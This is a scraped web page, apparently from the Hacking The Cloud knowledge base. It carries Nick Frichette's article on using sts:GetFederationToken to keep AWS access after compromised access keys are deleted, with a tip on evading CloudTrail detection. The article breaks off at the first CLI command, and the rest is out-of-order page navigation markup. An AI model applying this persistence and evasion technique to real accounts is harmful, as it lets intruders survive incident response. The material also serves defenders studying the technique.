class=md-nav__link> <span class=md-ellipsis> Terraform Enterprise: Attack the Metadata Service </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_6> <label class=md-nav__link for=__nav_6 id=__nav_6_label tabindex=0> <span class=md-ellipsis> Blog </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=1 aria-labelledby=__nav_6_label aria-expanded=false> <label class=md-nav__title for=__nav_6> <span class="md-nav__icon md-icon"></span> Blog </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../blog/2023_wrap-up/ class=md-nav__link> <span class=md-ellipsis> 2023 Wrap-up </span> </a> </li> <li class=md-nav__item> <a href=../../../blog/2022_wrap-up/ class=md-nav__link> <span class=md-ellipsis> 2022 Wrap-up </span> </a> </li> <li class=md-nav__item> <a href=../../../blog/v2_new_look/ class=md-nav__link> <span class=md-ellipsis> Hacking The Cloud v2: New Look </span> </a> </li> </ul> </nav> </li> </ul> </nav> </div> </div> </div> <div class="md-sidebar md-sidebar--secondary" data-md-component=sidebar data-md-type=toc hidden> <div class=md-sidebar__scrollwrap> <div class=md-sidebar__inner> <nav class="md-nav md-nav--secondary" aria-label="Table of contents"> </nav> </div> </div> </div> <div class=md-content data-md-component=content> <article class="md-content__inner md-typeset"> <p>Article by Nick Frichette</p> <a href=https://github.com/Hacking-the-Cloud/hackingthe.cloud/edit/main/content/aws/post_exploitation/survive_access_key_deletion_with_sts_getfederationtoken.md title="Edit this page" class="md-content__button md-icon"> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M10 20H6V4h7v5h5v3.1l2-2V8l-6-6H6c-1.1 0-2 .9-2 2v16c0 1.1.9 2 2 2h4zm10.2-7c.1 0 .3.1.4.2l1.3 1.3c.2.2.2.6 0 .8l-1 1-2.1-2.1 1-1c.1-.1.2-.2.4-.2m0 3.9L14.1 23H12v-2.1l6.1-6.1z"/></svg> </a> <h1>Survive Access Key Deletion with sts:GetFederationToken</h1> <div class="grid cards"> <ul> <li> <p><span class="twemoji lg middle"><svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="m23 12-2.44-2.78.34-3.68-3.61-.82-1.89-3.18L12 3 8.6 1.54 6.71 4.72l-3.61.81.34 3.68L1 12l2.44 2.78-.34 3.69 3.61.82 1.89 3.18L12 21l3.4 1.46 1.89-3.18 3.61-.82-.34-3.68zm-10 5h-2v-2h2zm0-4h-2V7h2z"/></svg></span> <strong>Technique seen in the wild</strong></p> <hr> <ul> <li><a href=https://www.crowdstrike.com/blog/how-adversaries-persist-with-aws-user-federation/ >How Adversaries Can Persist with AWS User Federation</a></li> </ul> </li> <li> <p><span class="twemoji lg middle"><svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M20 17h2v-2h-2zm0-10v6h2V7zm-9 2h5.5L11 3.5zM4 2h8l6 6v12c0 1.11-.89 2-2 2H4a2 2 0 0 1-2-2V4c0-1.11.89-2 2-2m9 16v-2H4v2zm3-4v-2H4v2z"/></svg></span> <strong>Required IAM Permission</strong></p> <hr> <ul> <li><a href=https://awscli.amazonaws.com/v2/documentation/api/latest/reference/sts/get-federation-token.html>sts:GetFederationToken</a></li> </ul> </li> </ul> </div> <p>After identifying that <a href=https://hackingthe.cloud/aws/general-knowledge/using_stolen_iam_credentials/ >access keys</a> have been compromised by an adversary, defenders will often immediately deactivate or delete those credentials. This is a good practice as it theoretically disables an adversary's access to the environment. However, it is important to know that an adversary can still use credentials generated from <a href=https://awscli.amazonaws.com/v2/documentation/api/latest/reference/sts/get-federation-token.html><code>sts:GetFederationToken</code></a>, even if the original access keys have been deleted.</p> <p><code>sts:GetFederationToken</code> is an API that can be invoked by IAM users and returns a set of temporary (ASIA...) IAM credentials. These credentials can be used normally through the CLI with 2 exceptions. From the <a href=https://docs.aws.amazon.com/STS/latest/APIReference/API_GetFederationToken.html>documentation</a>:</p> <ul> <li>You cannot call any IAM operations using the AWS CLI or the AWS API. </li> <li>You cannot call any AWS STS operations except <code>sts:GetCallerIdentity</code>.</li> </ul> <p>However, it is important to note that these limitations do not apply if an attacker generates a <a href=https://hackingthe.cloud/aws/post_exploitation/create_a_console_session_from_iam_credentials/ >console session from IAM credentials</a>. By using the AWS console you could interact with the IAM service and perform actions such as <a href=https://hackingthe.cloud/aws/exploitation/iam_privilege_escalation/ >privilege escalation</a>, <a href=https://hackingthe.cloud/aws/post_exploitation/iam_persistence/ >maintaining persistence</a>, etc.</p> <div class="admonition tip"> <p class=admonition-title>Tip</p> <p>If you are attempting to avoid detection, generating a console session from IAM credentials is <em>NOT</em> advised. There are numerous IoCs which may trigger alerts, such as a suspicious user-agent and the <code>ConsoleLogin</code> CloudTrail event. If at all possible, only use the IAM credentials generated from <code>sts:GetFederationToken</code> in the CLI.</p> </div> <p>To create temporary IAM credentials using <code>sts:GetFederationToken</code>, you can use the following CLI command:</p> <div class=highlight><pre><span></span><code>aws<span class=w> </span>sts<span class=w> </span>get-federation-token<span class=w> </span><span class=se>\</span>
+    body[data-md-color-scheme="slate"] .gslide-desc { color: var(--md-default-fg-color);}</style> <script src="../../../assets/javascripts/glightbox.min.js"></script></head> <body dir=ltr data-md-color-scheme=slate data-md-color-primary=red data-md-color-accent=indigo> <input class=md-toggle data-md-toggle=drawer type=checkbox id=__drawer autocomplete=off> <input class=md-toggle data-md-toggle=search type=checkbox id=__search autocomplete=off> <label class=md-overlay for=__drawer></label> <div data-md-component=skip> </div> <div data-md-component=announce> <aside class=md-banner> <div class="md-banner__inner md-grid md-typeset"> For updates follow <strong>Nick Frichette</strong> on <a rel=me href=https://bsky.app/profile/frichetten.com> <span class="twemoji bluesky"> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 512 512"><!-- Font Awesome Free 6.7.1 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2024 Fonticons, Inc.--><path d="M111.8 62.2C170.2 105.9 233 194.7 256 242.4c23-47.6 85.8-136.4 144.2-180.2 42.1-31.6 110.3-56 110.3 21.8 0 15.5-8.9 130.5-14.1 149.2-18.2 64.8-84.4 81.4-143.3 71.3C456 322 482.2 380 425.6 438c-107.4 110.2-154.3-27.6-166.3-62.9-1.7-4.9-2.6-7.8-3.3-7.8s-1.6 3-3.3 7.8c-12 35.3-59 173.1-166.3 62.9-56.5-58-30.4-116 72.5-133.5C100 314.6 33.8 298 15.7 233.1 10.4 214.4 1.5 99.4 1.5 83.9c0-77.8 68.2-53.4 110.3-21.8z"/></svg> </span> <strong>Bluesky</strong> </a>. </div> </aside> </div> <header class=md-header data-md-component=header> <nav class="md-header__inner md-grid" aria-label=Header> <a href=../../.. title="Hacking The Cloud" class="md-header__button md-logo" aria-label="Hacking The Cloud" data-md-component=logo> <img src=../../../assets/logo.png alt=logo> </a> <label class="md-header__button md-icon" for=__drawer> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M3 6h18v2H3zm0 5h18v2H3zm0 5h18v2H3z"/></svg> </label> <div class=md-header__title data-md-component=header-title> <div class=md-header__ellipsis> <div class=md-header__topic> <span class=md-ellipsis> Hacking The Cloud </span> </div> <div class=md-header__topic data-md-component=header-topic> <span class=md-ellipsis> Survive Access Key Deletion with sts:GetFederationToken </span> </div> </div> </div> <form class=md-header__option data-md-component=palette> <input class=md-option data-md-color-media data-md-color-scheme=slate data-md-color-primary=red data-md-color-accent=indigo aria-label="Switch to Dark Mode" type=radio name=__palette id=__palette_0> <label class="md-header__button md-icon" title="Switch to Dark Mode" for=__palette_1 hidden> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M17 6H7c-3.31 0-6 2.69-6 6s2.69 6 6 6h10c3.31 0 6-2.69 6-6s-2.69-6-6-6m0 10H7c-2.21 0-4-1.79-4-4s1.79-4 4-4h10c2.21 0 4 1.79 4 4s-1.79 4-4 4M7 9c-1.66 0-3 1.34-3 3s1.34 3 3 3 3-1.34 3-3-1.34-3-3-3"/></svg> </label> <input class=md-option data-md-color-media data-md-color-scheme=default data-md-color-primary=red data-md-color-accent=indigo aria-label="Switch to Light Mode" type=radio name=__palette id=__palette_1> <label class="md-header__button md-icon" title="Switch to Light Mode" for=__palette_0 hidden> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M17 7H7a5 5 0 0 0-5 5 5 5 0 0 0 5 5h10a5 5 0 0 0 5-5 5 5 0 0 0-5-5m0 8a3 3 0 0 1-3-3 3 3 0 0 1 3-3 3 3 0 0 1 3 3 3 3 0 0 1-3 3"/></svg> </label> </form> <script>var palette=__md_get("__palette");if(palette&&palette.color){if("(prefers-color-scheme)"===palette.color.media){var media=matchMedia("(prefers-color-scheme: light)"),input=document.querySelector(media.matches?"[data-md-color-media='(prefers-color-scheme: light)']":"[data-md-color-media='(prefers-color-scheme: dark)']");palette.color.media=input.getAttribute("data-md-color-media"),palette.color.scheme=input.getAttribute("data-md-color-scheme"),palette.color.primary=input.getAttribute("data-md-color-primary"),palette.color.accent=input.getAttribute("data-md-color-accent")}for(var[key,value]of Object.entries(palette.color))document.body.setAttribute("data-md-color-"+key,value)}</script> <label class="md-header__button md-icon" for=__search> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M9.5 3A6.5 6.5 0 0 1 16 9.5c0 1.61-.59 3.09-1.56 4.23l.27.27h.79l5 5-1.5 1.5-5-5v-.79l-.27-.27A6.52 6.52 0 0 1 9.5 16 6.5 6.5 0 0 1 3 9.5 6.5 6.5 0 0 1 9.5 3m0 2C7 5 5 7 5 9.5S7 14 9.5 14 14 12 14 9.5 12 5 9.5 5"/></svg> </label> <div class=md-search data-md-component=search role=dialog> <label class=md-search__overlay for=__search></label> <div class=md-search__inner role=search> <form class=md-search__form name=search> <input type=text class=md-search__input name=query aria-label=Search placeholder=Search autocapitalize=off autocorrect=off autocomplete=off spellcheck=false data-md-component=search-query required> <label class="md-search__icon md-icon" for=__search> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M9.5 3A6.5 6.5 0 0 1 16 9.5c0 1.61-.59 3.09-1.56 4.23l.27.27h.79l5 5-1.5 1.5-5-5v-.79l-.27-.27A6.52 6.52 0 0 1 9.5 16 6.5 6.5 0 0 1 3 9.5 6.5 6.5 0 0 1 9.5 3m0 2C7 5 5 7 5 9.5S7 14 9.5 14 14 12 14 9.5 12 5 9.5 5"/></svg> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M20 11v2H8l5.5 5.5-1.42 1.42L4.16 12l7.92-7.92L13.5 5.5 8 11z"/></svg> </label> <nav class=md-search__options aria-label=Search> <button type=reset class="md-search__icon md-icon" title=Clear aria-label=Clear tabindex=-1> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M19 6.41 17.59 5 12 10.59 6.41 5 5 6.41 10.59 12 5 17.59 6.41 19 12 13.41 17.59 19 19 17.59 13.41 12z"/></svg> </button> </nav> </form> <div class=md-search__output> <div class=md-search__scrollwrap tabindex=0 data-md-scrollfix> <div class=md-search-result data-md-component=search-result> <div class=md-search-result__meta> Initializing search </div> <ol class=md-search-result__list role=presentation></ol> </div> </div> </div> </div> </div> <div class=md-header__source> <a href=https://github.com/Hacking-the-Cloud/hackingthe.cloud title="Go to repository" class=md-source data-md-component=source> <div class="md-source__icon md-icon"> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 496 512"><!-- Font Awesome Free 6.7.1 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2024 Fonticons, Inc.--><path d="M165.9 397.4c0 2-2.3 3.6-5.2 3.6-3.3.3-5.6-1.3-5.6-3.6 0-2 2.3-3.6 5.2-3.6 3-.3 5.6 1.3 5.6 3.6m-31.1-4.5c-.7 2 1.3 4.3 4.3 4.9 2.6 1 5.6 0 6.2-2s-1.3-4.3-4.3-5.2c-2.6-.7-5.5.3-6.2 2.3m44.2-1.7c-2.9.7-4.9 2.6-4.6 4.9.3 2 2.9 3.3 5.9 2.6 2.9-.7 4.9-2.6 4.6-4.6-.3-1.9-3-3.2-5.9-2.9M244.8 8C106.1 8 0 113.3 0 252c0 110.9 69.8 205.8 169.5 239.2 12.8 2.3 17.3-5.6 17.3-12.1 0-6.2-.3-40.4-.3-61.4 0 0-70 15-84.7-29.8 0 0-11.4-29.1-27.8-36.6 0 0-22.9-15.7 1.6-15.4 0 0 24.9 2 38.6 25.8 21.9 38.6 58.6 27.5 72.9 20.9 2.3-16 8.8-27.1 16-33.7-55.9-6.2-112.3-14.3-112.3-110.5 0-27.5 7.6-41.3 23.6-58.9-2.6-6.5-11.1-33.3 2.6-67.9 20.9-6.5 69 27 69 27 20-5.6 41.5-8.5 62.8-8.5s42.8 2.9 62.8 8.5c0 0 48.1-33.6 69-27 13.7 34.7 5.2 61.4 2.6 67.9 16 17.7 25.8 31.5 25.8 58.9 0 96.5-58.9 104.2-114.8 110.5 9.2 7.9 17 22.9 17 46.4 0 33.7-.3 75.4-.3 83.6 0 6.5 4.6 14.4 17.3 12.1C428.2 457.8 496 362.9 496 252 496 113.3 383.5 8 244.8 8M97.2 352.9c-1.3 1-1 3.3.7 5.2 1.6 1.6 3.9 2.3 5.2 1 1.3-1 1-3.3-.7-5.2-1.6-1.6-3.9-2.3-5.2-1m-10.8-8.1c-.7 1.3.3 2.9 2.3 3.9 1.6 1 3.6.7 4.3-.7.7-1.3-.3-2.9-2.3-3.9-2-.6-3.6-.3-4.3.7m32.4 35.6c-1.6 1.3-1 4.3 1.3 6.2 2.3 2.3 5.2 2.6 6.5 1 1.3-1.3.7-4.3-1.3-6.2-2.2-2.3-5.2-2.6-6.5-1m-11.4-14.7c-1.6 1-1.6 3.6 0 5.9s4.3 3.3 5.6 2.3c1.6-1.3 1.6-3.9 0-6.2-1.4-2.3-4-3.3-5.6-2"/></svg> </div> <div class=md-source__repository> Hacking The Cloud </div> </a> </div> </nav> </header> <div class=md-container data-md-component=container> <nav class=md-tabs aria-label=Tabs data-md-component=tabs> <div class=md-grid> <ul class=md-tabs__list> <li class=md-tabs__item> <a href=../../.. class=md-tabs__link> Hacking The Cloud </a> </li> <li class="md-tabs__item md-tabs__item--active"> <a href=../../general-knowledge/aws_cli_tips_and_tricks/ class=md-tabs__link> AWS </a> </li> <li class=md-tabs__item> <a href=../../../azure/abusing-managed-identities/ class=md-tabs__link> Azure </a> </li> <li class=md-tabs__item> <a href=../../../gcp/general-knowledge/default-account-names/ class=md-tabs__link> GCP </a> </li> <li class=md-tabs__item> <a href=../../../terraform/terraform_ansi_escape_evasion/ class=md-tabs__link> Terraform </a> </li> <li class=md-tabs__item> <a href=../../../blog/2023_wrap-up/ class=md-tabs__link> Blog </a> </li> </ul> </div> </nav> <main class=md-main data-md-component=main> <div class="md-main__inner md-grid"> <div class="md-sidebar md-sidebar--primary" data-md-component=sidebar data-md-type=navigation> <div class=md-sidebar__scrollwrap> <div class=md-sidebar__inner> <nav class="md-nav md-nav--primary md-nav--lifted" aria-label=Navigation data-md-level=0> <label class=md-nav__title for=__drawer> <a href=../../.. title="Hacking The Cloud" class="md-nav__button md-logo" aria-label="Hacking The Cloud" data-md-component=logo> <img src=../../../assets/logo.png alt=logo> </a> Hacking The Cloud </label> <div class=md-nav__source> <a href=https://github.com/Hacking-the-Cloud/hackingthe.cloud title="Go to repository" class=md-source data-md-component=source> <div class="md-source__icon md-icon"> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 496 512"><!-- Font Awesome Free 6.7.1 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2024 Fonticons, Inc.--><path d="M165.9 397.4c0 2-2.3 3.6-5.2 3.6-3.3.3-5.6-1.3-5.6-3.6 0-2 2.3-3.6 5.2-3.6 3-.3 5.6 1.3 5.6 3.6m-31.1-4.5c-.7 2 1.3 4.3 4.3 4.9 2.6 1 5.6 0 6.2-2s-1.3-4.3-4.3-5.2c-2.6-.7-5.5.3-6.2 2.3m44.2-1.7c-2.9.7-4.9 2.6-4.6 4.9.3 2 2.9 3.3 5.9 2.6 2.9-.7 4.9-2.6 4.6-4.6-.3-1.9-3-3.2-5.9-2.9M244.8 8C106.1 8 0 113.3 0 252c0 110.9 69.8 205.8 169.5 239.2 12.8 2.3 17.3-5.6 17.3-12.1 0-6.2-.3-40.4-.3-61.4 0 0-70 15-84.7-29.8 0 0-11.4-29.1-27.8-36.6 0 0-22.9-15.7 1.6-15.4 0 0 24.9 2 38.6 25.8 21.9 38.6 58.6 27.5 72.9 20.9 2.3-16 8.8-27.1 16-33.7-55.9-6.2-112.3-14.3-112.3-110.5 0-27.5 7.6-41.3 23.6-58.9-2.6-6.5-11.1-33.3 2.6-67.9 20.9-6.5 69 27 69 27 20-5.6 41.5-8.5 62.8-8.5s42.8 2.9 62.8 8.5c0 0 48.1-33.6 69-27 13.7 34.7 5.2 61.4 2.6 67.9 16 17.7 25.8 31.5 25.8 58.9 0 96.5-58.9 104.2-114.8 110.5 9.2 7.9 17 22.9 17 46.4 0 33.7-.3 75.4-.3 83.6 0 6.5 4.6 14.4 17.3 12.1C428.2 457.8 496 362.9 496 252 496 113.3 383.5 8 244.8 8M97.2 352.9c-1.3 1-1 3.3.7 5.2 1.6 1.6 3.9 2.3 5.2 1 1.3-1 1-3.3-.7-5.2-1.6-1.6-3.9-2.3-5.2-1m-10.8-8.1c-.7 1.3.3 2.9 2.3 3.9 1.6 1 3.6.7 4.3-.7.7-1.3-.3-2.9-2.3-3.9-2-.6-3.6-.3-4.3.7m32.4 35.6c-1.6 1.3-1 4.3 1.3 6.2 2.3 2.3 5.2 2.6 6.5 1 1.3-1.3.7-4.3-1.3-6.2-2.2-2.3-5.2-2.6-6.5-1m-11.4-14.7c-1.6 1-1.6 3.6 0 5.9s4.3 3.3 5.6 2.3c1.6-1.3 1.6-3.9 0-6.2-1.4-2.3-4-3.3-5.6-2"/></svg> </div> <div class=md-source__repository> Hacking The Cloud </div> </a> </div> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../.. class=md-nav__link> <span class=md-ellipsis> Hacking The Cloud </span> </a> </li> <li class="md-nav__item md-nav__item--active md-nav__item--section md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2 checked> <label class=md-nav__link for=__nav_2 id=__nav_2_label tabindex> <span class=md-ellipsis> AWS </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=1 aria-labelledby=__nav_2_label aria-expanded=true> <label class=md-nav__title for=__nav_2> <span class="md-nav__icon md-icon"></span> AWS </label> <ul class=md-nav__list data-md-scrollfix> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_1> <label class=md-nav__link for=__nav_2_1 id=__nav_2_1_label tabindex=0> <span class=md-ellipsis> General Knowledge </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_1_label aria-expanded=false> <label class=md-nav__title for=__nav_2_1> <span class="md-nav__icon md-icon"></span> General Knowledge </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../general-knowledge/aws_cli_tips_and_tricks/ class=md-nav__link> <span class=md-ellipsis> AWS CLI Tips and Tricks </span> </a> </li> <li class=md-nav__item> <a href=../../general-knowledge/aws_organizations_defaults/ class=md-nav__link> <span class=md-ellipsis> AWS Organizations Defaults & Pivoting </span> </a> </li> <li class=md-nav__item> <a href=../../general-knowledge/block-expensive-actions-with-scps/ class=md-nav__link> <span class=md-ellipsis> Prevent Expensive AWS API Actions with SCPs </span> </a> </li> <li class=md-nav__item> <a href=../../general-knowledge/connection-tracking/ class=md-nav__link> <span class=md-ellipsis> Connection Tracking </span> </a> </li> <li class=md-nav__item> <a href=../../general-knowledge/iam-key-identifiers/ class=md-nav__link> <span class=md-ellipsis> IAM unique identifiers </span> </a> </li> <li class=md-nav__item> <a href=../../general-knowledge/intro_metadata_service/ class=md-nav__link> <span class=md-ellipsis> Introduction to the Instance Metadata Service </span> </a> </li> <li class=md-nav__item> <a href=../../general-knowledge/introduction_user_data/ class=md-nav__link> <span class=md-ellipsis> Introduction to User Data </span> </a> </li> <li class=md-nav__item> <a href=../../general-knowledge/using_stolen_iam_credentials/ class=md-nav__link> <span class=md-ellipsis> Using Stolen IAM Credentials </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_2> <label class=md-nav__link for=__nav_2_2 id=__nav_2_2_label tabindex=0> <span class=md-ellipsis> Enumeration </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_2_label aria-expanded=false> <label class=md-nav__title for=__nav_2_2> <span class="md-nav__icon md-icon"></span> Enumeration </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../enumeration/account_id_from_ec2/ class=md-nav__link> <span class=md-ellipsis> Enumerate AWS Account ID from an EC2 Instance </span> </a> </li> <li class=md-nav__item> <a href=../../enumeration/account_id_from_s3_bucket/ class=md-nav__link> <span class=md-ellipsis> Enumerate AWS Account ID from a Public S3 Bucket </span> </a> </li> <li class=md-nav__item> <a href=../../enumeration/brute_force_iam_permissions/ class=md-nav__link> <span class=md-ellipsis> Brute Force IAM Permissions </span> </a> </li> <li class=md-nav__item> <a href=../../enumeration/bypass_cognito_user_enumeration_controls/ class=md-nav__link> <span class=md-ellipsis> Bypass Cognito Account Enumeration Controls </span> </a> </li> <li class=md-nav__item> <a href=../../enumeration/discover_secrets_in_public_aims/ class=md-nav__link> <span class=md-ellipsis> Discover secrets in public AMIs </span> </a> </li> <li class=md-nav__item> <a href=../../enumeration/enum_iam_user_role/ class=md-nav__link> <span class=md-ellipsis> Unauthenticated Enumeration of IAM Users and Roles </span> </a> </li> <li class=md-nav__item> <a href=../../enumeration/enumerate_principal_arn_from_unique_id/ class=md-nav__link> <span class=md-ellipsis> Derive a Principal ARN from an AWS Unique Identifier </span> </a> </li> <li class=md-nav__item> <a href=../../enumeration/enumerate_root_email_from_console/ class=md-nav__link> <span class=md-ellipsis> Enumerate Root User Email Address from the AWS Console </span> </a> </li> <li class=md-nav__item> <a href=../../enumeration/get-account-id-from-keys/ class=md-nav__link> <span class=md-ellipsis> Get Account ID from AWS Access Keys </span> </a> </li> <li class=md-nav__item> <a href=../../enumeration/loot_public_ebs_snapshots/ class=md-nav__link> <span class=md-ellipsis> Loot Public EBS Snapshots </span> </a> </li> <li class=md-nav__item> <a href=../../enumeration/whoami/ class=md-nav__link> <span class=md-ellipsis> Whoami - Get Principal Name From Keys </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_3> <label class=md-nav__link for=__nav_2_3 id=__nav_2_3_label tabindex=0> <span class=md-ellipsis> Exploitation </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_3_label aria-expanded=false> <label class=md-nav__title for=__nav_2_3> <span class="md-nav__icon md-icon"></span> Exploitation </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../exploitation/abusing-container-registry/ class=md-nav__link> <span class=md-ellipsis> Abusing Elastic Container Registry for Lateral Movement </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/cognito_identity_pool_excessive_privileges/ class=md-nav__link> <span class=md-ellipsis> Abusing Overpermissioned AWS Cognito Identity Pools </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/cognito_user_self_signup/ class=md-nav__link> <span class=md-ellipsis> Abusing Unintended Self-Signup in AWS Cognito </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/ec2-metadata-ssrf/ class=md-nav__link> <span class=md-ellipsis> Steal EC2 Metadata Credentials via SSRF </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/iam_privilege_escalation/ class=md-nav__link> <span class=md-ellipsis> AWS IAM Privilege Escalation Techniques </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/lambda-steal-iam-credentials/ class=md-nav__link> <span class=md-ellipsis> Steal IAM Credentials and Event Data from Lambda </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/local_ec2_priv_esc_through_user_data/ class=md-nav__link> <span class=md-ellipsis> EC2 Privilege Escalation Through User Data </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/orphaned_cloudfront_or_dns_takeover_via_s3/ class=md-nav__link> <span class=md-ellipsis> DNS and CloudFront Domain Takeover via Deleted S3 Buckets </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/route53_modification_privilege_escalation/ class=md-nav__link> <span class=md-ellipsis> AWS API Call Hijacking via ACM-PCA </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/s3-bucket-replication-exfiltration/ class=md-nav__link> <span class=md-ellipsis> Exfiltrating S3 Data with Bucket Replication Policies </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/s3_server_access_logs/ class=md-nav__link> <span class=md-ellipsis> Data Exfiltration through S3 Server Access Logs </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/s3_streaming_copy/ class=md-nav__link> <span class=md-ellipsis> S3 Streaming Copy </span> </a> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_3_13> <div class="md-nav__link md-nav__container"> <a href=../../exploitation/Misconfigured_Resource-Based_Policies/ class="md-nav__link "> <span class=md-ellipsis> Misconfigured Resource Based Policies </span> </a> <label class="md-nav__link " for=__nav_2_3_13 id=__nav_2_3_13_label tabindex=0> <span class="md-nav__icon md-icon"></span> </label> </div> <nav class=md-nav data-md-level=3 aria-labelledby=__nav_2_3_13_label aria-expanded=false> <label class=md-nav__title for=__nav_2_3_13> <span class="md-nav__icon md-icon"></span> Misconfigured Resource Based Policies </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../exploitation/Misconfigured_Resource-Based_Policies/exploit_amplify_vulnerability_in_same_account_scenario/ class=md-nav__link> <span class=md-ellipsis> CVE-2024-28056: Exploit an AWS Amplify Vulnerability in Same-Account Scenarios </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/Misconfigured_Resource-Based_Policies/exploiting_misconfigured_gitlab_oidc_aws_iam_roles/ class=md-nav__link> <span class=md-ellipsis> Exploiting Misconfigured GitLab OIDC AWS IAM Roles </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/Misconfigured_Resource-Based_Policies/exploting_public_resources_attack_playbook/ class=md-nav__link> <span class=md-ellipsis> Exploiting Public AWS Resources Programmatically - The Playbook </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/Misconfigured_Resource-Based_Policies/misconfigured_ecr_resource_policy/ class=md-nav__link> <span class=md-ellipsis> Abusing Misconfigured ECR Resource Policies </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/Misconfigured_Resource-Based_Policies/misconfigured_iam_role_trust_policy_wildcard_principal/ class=md-nav__link> <span class=md-ellipsis> Abusing Misconfigured Role Trust Policies with a Wildcard Principal </span> </a> </li> </ul> </nav> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_4> <label class=md-nav__link for=__nav_2_4 id=__nav_2_4_label tabindex=0> <span class=md-ellipsis> Avoid Detection </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_4_label aria-expanded=false> <label class=md-nav__title for=__nav_2_4> <span class="md-nav__icon md-icon"></span> Avoid Detection </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../avoiding-detection/guardduty-pentest/ class=md-nav__link> <span class=md-ellipsis> Bypass GuardDuty Pentest Findings for the AWS CLI </span> </a> </li> <li class=md-nav__item> <a href=../../avoiding-detection/guardduty-tor-client/ class=md-nav__link> <span class=md-ellipsis> Bypass GuardDuty Tor Client Findings </span> </a> </li> <li class=md-nav__item> <a href=../../avoiding-detection/modify-guardduty-config/ class=md-nav__link> <span class=md-ellipsis> Modify GuardDuty Configuration </span> </a> </li> <li class=md-nav__item> <a href=../../avoiding-detection/steal-keys-undetected/ class=md-nav__link> <span class=md-ellipsis> Bypass Credential Exfiltration Detection </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--active md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_5 checked> <label class=md-nav__link for=__nav_2_5 id=__nav_2_5_label tabindex=0> <span class=md-ellipsis> Post Exploitation </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_5_label aria-expanded=true> <label class=md-nav__title for=__nav_2_5> <span class="md-nav__icon md-icon"></span> Post Exploitation </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../create_a_console_session_from_iam_credentials/ class=md-nav__link> <span class=md-ellipsis> Create a Console Session from IAM Credentials </span> </a> </li> <li class=md-nav__item> <a href=../download_tools_and_exfiltrate_data_with_aws_cli/ class=md-nav__link> <span class=md-ellipsis> Download Tools and Exfiltrate Data with the AWS CLI </span> </a> </li> <li class=md-nav__item> <a href=../get_iam_creds_from_console_session/ class=md-nav__link> <span class=md-ellipsis> Get IAM Credentials from a Console Session </span> </a> </li> <li 